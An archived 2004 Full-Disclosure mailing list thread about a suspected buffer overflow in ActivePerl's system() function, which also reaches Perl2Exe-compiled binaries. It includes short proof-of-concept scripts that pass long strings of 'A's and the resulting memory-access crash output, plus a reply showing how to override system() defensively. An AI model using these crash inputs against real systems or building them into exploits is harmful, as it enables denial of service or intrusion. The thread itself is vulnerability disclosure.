full-disclosure - ActivePerl Perl2Exe [was] Buffer Overflow in ActivePerl ?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <BAY9-DAV24VUkRacUtI0003e173@hotmail.com>
From: se_cur_ity at hotmail.com (morning_wood)
Subject: ActivePerl Perl2Exe [was] Buffer Overflow in ActivePerl ?

further testing...

c:\>type test1.pl
#test1.pl
$a="A" x 256; system($a);

http://[host]/test1.pl
[host - output ]
The instruction at "0x28073f63" referenced memory at "0x01c42ce0".
The memory could not be "read"

c:\>type test2.pl
#test2.pl
$a="A" x 261; system($a);

http://[host]/test2.pl
[host - output ]
The instruction at "0x28073f63" referenced memory at "0x42c42ce0".
The memory could not be "read"

Donnie Werner
http://exploitlabs.com


----- Original Message -----
From: "Stephen Blass" <Stephen.Blass@....edu>
To: <full-disclosure@...ts.netsys.com>
Sent: Thursday, May 20, 2004 2:15 PM
Subject: RE: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
ActivePerl ?


> Perl2Exe rolls the interpreter up into the exe so if the interpreter is
vulnerable, then the exe will be too.  With the service compiler you will have
the same situation in services compiled as 'standalone'; if you compile
'dependent' services you are at the mercy of the perl interpreter on the system
you deploy the service on.
>
> You can change the behavior of the perl 'system' in a perl script like so.
>
> use subs qw (system);
> sub system { my ($cmd)=@_; print"what, me run $cmd ? "; }
> $a="A" x 256; system($a);
>
> You can reach out from your custom system subroutine to the real thing if
you'd like by calling CORE::system if you want to scrub arguments some more
before passing them to the system.
>
> -
> Steve Blass
>
>
>
>
> -----Original Message-----
> From: full-disclosure-admin@...ts.netsys.com
> [mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Clint
> Bodungen
> Sent: Thursday, May 20, 2004 12:44 PM
> To: morning_wood; 0day; full-disclosure@...ts.netsys.com
> Subject: Re: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow
> in ActivePerl ?
>
>
> I haven't tested it yet but this also probably means that the msi/Microsoft
> service compilor in the Activeperl Developer's Kit is as well then.
>
>
> ----- Original Message -----
> From: "morning_wood" <se_cur_ity@...mail.com>
> To: "0day" <0day@...hackers.org>; <full-disclosure@...ts.netsys.com>
> Sent: Thursday, May 20, 2004 2:08 PM
> Subject: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
> ActivePerl ?
>
>
> > binaries created via perl2exe also are affected.
> >
> > C:\>type 1.pl
> > #
> > $a="A" x 256; system($a);
> >
> > C:\>perl2exe -v 1.pl
> > Perl2Exe V7.02 Copyright (c) 1997-2003 IndigoSTAR Software
> > Cmd = -v 1.pl
> > CWD = C:\
> > Known platforms: Win32
> > Target platform = Win32 5.006001
> > $I =
> > $ENV{'PERL5LIB'} =
> > Found perl.exe at C:\Perl\bin
> > LibList = C:\Perl\lib,C:\Perl\site\lib,.
> > Converting '1.pl' to 1.exe
> > Compiling 1.pl
> >
> > C:\>1.exe
> > [BIG CRASH]
> >
> > C:\>
> >
> >
> >
> > Donnie Werner
> > http://exploitlabs.com